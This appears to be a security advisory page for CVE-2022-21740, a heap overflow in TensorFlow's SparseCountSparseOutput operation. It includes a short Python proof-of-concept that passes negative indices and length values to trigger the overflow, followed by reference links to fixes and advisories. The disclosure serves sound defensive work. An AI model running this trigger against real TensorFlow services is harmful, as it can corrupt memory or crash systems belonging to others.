CVE-2022-21740: Heap overflow in Tensorflow
(updated )
The implementation of SparseCountSparseOutput is vulnerable to a heap overflow:
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[-1,-1]],
values=[2],
dense_shape=[1, 1],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
References
- github.com/advisories/GHSA-44qp-9wwf-734r
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-64.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-119.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc
- github.com/tensorflow/tensorflow/commit/2b7100d6cdff36aa21010a82269bc05a6d1cc74a
- github.com/tensorflow/tensorflow/commit/adbbabdb0d3abb3cdeac69e38a96de1d678b24b3
- github.com/tensorflow/tensorflow/security/advisories/GHSA-44qp-9wwf-734r
- nvd.nist.gov/vuln/detail/CVE-2022-21740
Detect and mitigate CVE-2022-21740 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →